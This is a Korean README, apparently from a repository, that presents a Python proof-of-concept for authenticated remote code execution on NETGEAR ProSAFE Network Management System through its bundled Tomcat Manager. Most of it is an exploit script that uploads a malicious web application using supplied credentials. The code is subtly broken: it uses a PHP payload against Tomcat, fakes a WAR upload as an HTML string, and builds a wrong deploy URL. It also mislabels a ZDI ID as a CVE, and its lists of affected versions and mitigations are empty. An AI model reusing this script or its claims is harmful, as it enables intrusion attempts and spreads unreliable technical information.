
NETGEAR ProSAFE 네트워크 관리 시스템에서 취약한 Apache Tomcat을 통해 악성 웹 애플리케이션을 배포하여 인증된 원격 코드 실행을 시연하는 개념 증명 Python 스크립트.
NETGEAR ProSAFE 네트워크 관리 시스템 원격 코드 실행(RCE) 취약점 PoC에 대한 구조화된 README.md입니다:
이 저장소는 NETGEAR ProSAFE 네트워크 관리 시스템에서 원격 코드 실행(RCE) 취약점을 시연하는 개념 증명(PoC) 스크립트를 포함하고 있습니다. 이 취약점은 제품 설치 프로그램 내에서 취약한 버전의 Apache Tomcat을 사용하기 때문에 발생합니다. 이 문제로 인해 인증된 공격자는 영향을 받는 설치 환경에서 임의 코드를 실행할 수 있습니다.
CVE-ID: ZDI-CAN-22868
개요: NETGEAR ProSAFE 네트워크 관리 시스템은 취약한 버전의 Apache Tomcat을 사용하여 원격 코드 실행 취약점을 포함합니다. 인증된 공격자는 이 취약점을 악용하여 영향을 받는 시스템에서 SYSTEM 컨텍스트로 임의 코드를 실행할 수 있습니다.
영향을 받는 버전:
인증: 필요
이 PoC는 공격자가 취약점을 악용하여 원격 코드 실행을 달성하는 방법을 보여줍니다. 구체적인 결함은 오래되었거나 취약한 Apache Tomcat 버전을 사용하기 때문에 제품 설치 프로그램 내에 있습니다.
다음 스크립트는 이 RCE 취약점을 악용하는 방법을 보여줍니다. 이 PoC를 실행하기 전에 적절한 권한이 있는지 확인하십시오.
중요: 이 PoC는 교육 목적으로만 제공되며 승인되지 않거나 악의적인 활동에 사용해서는 안 됩니다.
import requests
# Configuration
target_url = "http://target-ip:port/manager/html" # Change this to the Tomcat Manager URL of the target
username = "admin" # Change to the valid username
password = "password" # Change to the valid password
# The payload to be executed on the remote server
payload = """
<?php
// Payload to execute arbitrary PHP code
system('whoami');
?>
"""
# Tomcat Manager URL path for deploying a new web application
deploy_url = f"{target_url}/deploy?path=/example&update=true"
# Headers for authentication
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
def exploit_rce(url, username, password, payload):
"""
Exploit the RCE vulnerability by deploying a malicious web application.
Args:
url (str): The Tomcat Manager URL.
username (str): The Tomcat Manager username.
password (str): The Tomcat Manager password.
payload (str): The malicious payload to be executed.
"""
try:
# Create a new web application with the malicious payload
response = requests.post(
url,
headers=headers,
data={
"path": "/example",
"war": f"<form method='post' enctype='multipart/form-data'><input type='file' name='file' value='{payload}'/></form>"
},
auth=(username, password)
)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.text)
if response.status_code == 200 and "Deployed application" in response.text:
print("[+] Successfully deployed the malicious web application.")
else:
print("[-] Failed to deploy the malicious web application.")
except requests.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
print(f"Exploiting RCE vulnerability at: {deploy_url}")
exploit_rce(deploy_url, username, password, payload)
target_url을 대상 시스템의 Tomcat Manager URL로 설정하고 username과 password를 유효한 자격 증명으로 업데이트하십시오.exploit_rce() 함수는 악성 웹 애플리케이션을 배포하기 위해 POST 요청을 보냅니다.이 취약점을 완화하려면 다음 단계를 따르십시오:
이러한 단계를 따르면 NETGEAR ProSAFE 네트워크 관리 시스템의 RCE 취약점을 해결하고 전반적인 보안을 강화할 수 있습니다.
이 README.md는 설정 지침, 고려 사항 및 완화 조언을 포함하여 RCE 취약점에 대한 자세한 설명과 PoC 스크립트를 제공합니다.